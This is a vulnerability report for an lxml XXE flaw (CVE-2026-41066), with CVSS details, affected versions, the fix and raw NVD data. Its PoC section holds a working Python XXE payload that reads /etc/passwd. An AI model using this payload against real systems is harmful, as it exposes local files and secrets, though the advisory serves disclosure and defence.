Security Vulnerability Report
中文
CVE-2026-41066 CVSS 7.5 HIGH

CVE-2026-41066

Published: 2026-04-24 17:16:21
Last Modified: 2026-04-27 17:59:05

Description

lxml is a library for processing XML and HTML in the Python language. Prior to 6.1.0, using either of the two parsers in the default configuration (with resolve_entities=True) allows untrusted XML input to read local files. Setting the resolve_entities option explicitly to resolve_entities='internal' or resolve_entities=False disables the local file access. This vulnerability is fixed in 6.1.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:lxml:lxml:*:*:*:*:*:*:*:* - VULNERABLE
lxml < 6.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import lxml.etree # Malicious XML payload demonstrating XXE to read /etc/passwd xml_data = """<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ELEMENT data (#PCDATA)> <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data> """ try: # Parsing with default settings (resolve_entities=True) triggers the vulnerability root = lxml.etree.fromstring(xml_data) print("[+] Vulnerability Triggered!") print("[+] File Content:") print(root.text) except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41066", "sourceIdentifier": "[email protected]", "published": "2026-04-24T17:16:20.933", "lastModified": "2026-04-27T17:59:05.297", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "lxml is a library for processing XML and HTML in the Python language. Prior to 6.1.0, using either of the two parsers in the default configuration (with resolve_entities=True) allows untrusted XML input to read local files. Setting the resolve_entities option explicitly to resolve_entities='internal' or resolve_entities=False disables the local file access. This vulnerability is fixed in 6.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-611"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lxml:lxml:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.1.0", "matchCriteriaId": "BBB89136-B5C9-4228-A580-08FB87A7326F"}]}]}], "references": [{"url": "https://bugs.launchpad.net/lxml/+bug/2146291", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/lxml/lxml/security/advisories/GHSA-vfmq-68hx-4jfw", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}